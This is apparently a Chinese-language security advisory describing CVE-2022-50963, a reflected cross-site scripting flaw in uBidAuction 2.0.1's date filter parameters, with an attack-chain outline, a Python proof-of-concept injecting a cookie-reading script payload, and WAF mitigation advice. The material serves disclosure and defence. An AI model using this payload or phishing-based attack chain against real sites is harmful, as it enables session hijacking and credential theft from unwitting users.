IPBUF安全漏洞报告
English
CVE-2022-50963 CVSS 6.1 中危

CVE-2022-50963 uBidAuction 反射型跨站脚本漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2022-50963
漏洞类型
反射型跨站脚本 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
uBidAuction

相关标签

XSSReflected XSSuBidAuctionWeb SecurityCVE-2022-50963

漏洞概述

uBidAuction 2.0.1版本中的`auctions/myAuctions/status/active`模块存在反射型跨站脚本(XSS)漏洞。由于过滤功能中的`date_created`、`date_from`、`date_to`和`created_at`参数缺乏严格的输入验证和输出编码,远程攻击者可构造恶意GET请求。当受害者访问该链接时,注入的脚本将在其浏览器中执行,可能导致账号劫持或恶意重定向。

技术细节

该漏洞属于典型的反射型跨站脚本攻击(Reflected XSS),存在于uBidAuction 2.0.1的拍卖列表过滤模块。漏洞根源在于服务器端未对`date_created`、`date_from`、`date_to`及`created_at`等GET参数进行严格的输入验证和输出转义。当用户访问带有恶意载荷的URL时,后端逻辑直接将参数值拼接到HTML响应中返回,导致浏览器将其解析为可执行代码。

攻击者无需认证即可利用此漏洞。通过精心构造包含`<script>`标签或事件处理器(如`onerror`)的恶意链接,并诱导受害者点击,攻击者即可在受害者浏览器上下文中执行任意JavaScript。由于CVSS向量显示S:C(Scope Changed),该脚本执行可能突破同源策略限制,窃取敏感凭证(如Session ID)或执行钓鱼攻击,对用户数据机密性和完整性构成威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用uBidAuction 2.0.1,并确认`auctions/myAuctions/status/active`接口存在过滤功能。
STEP 2
载荷构造
攻击者构造包含恶意JavaScript代码的URL,将脚本注入到`date_from`等未经过滤的参数中。
STEP 3
社会工程学诱导
攻击者通过电子邮件或即时通讯工具将特制的恶意链接发送给目标受害者,诱导其点击。
STEP 4
执行攻击
受害者点击链接后,浏览器向服务器发送请求,服务器将未过滤的参数值返回,受害者的浏览器解析并执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable application url = "http://target.com/auctions/myAuctions/status/active" # Malicious payload to inject JavaScript # This payload attempts to execute an alert box to demonstrate the vulnerability payload = "<script>alert(document.cookie)</script>" # Parameters vulnerable to XSS params = { "date_created": payload, "date_from": payload, "date_to": payload } try: # Send GET request with the malicious parameters response = requests.get(url, params=params, timeout=5) # Check if the payload is reflected in the response without encoding if payload in response.text: print("[+] Vulnerability Confirmed: XSS payload reflected in response.") else: print("[-] Vulnerability not detected or payload encoded.") except Exception as e: print(f"Error occurred: {e}")

影响范围

uBidAuction 2.0.1

防御指南

临时缓解措施
在官方补丁发布前,建议管理员在服务器端部署WAF(Web应用防火墙)规则,拦截包含常见XSS特征(如<script>标签、javascript:伪协议)的请求。同时,用户应避免点击来源不明的链接。

参考链接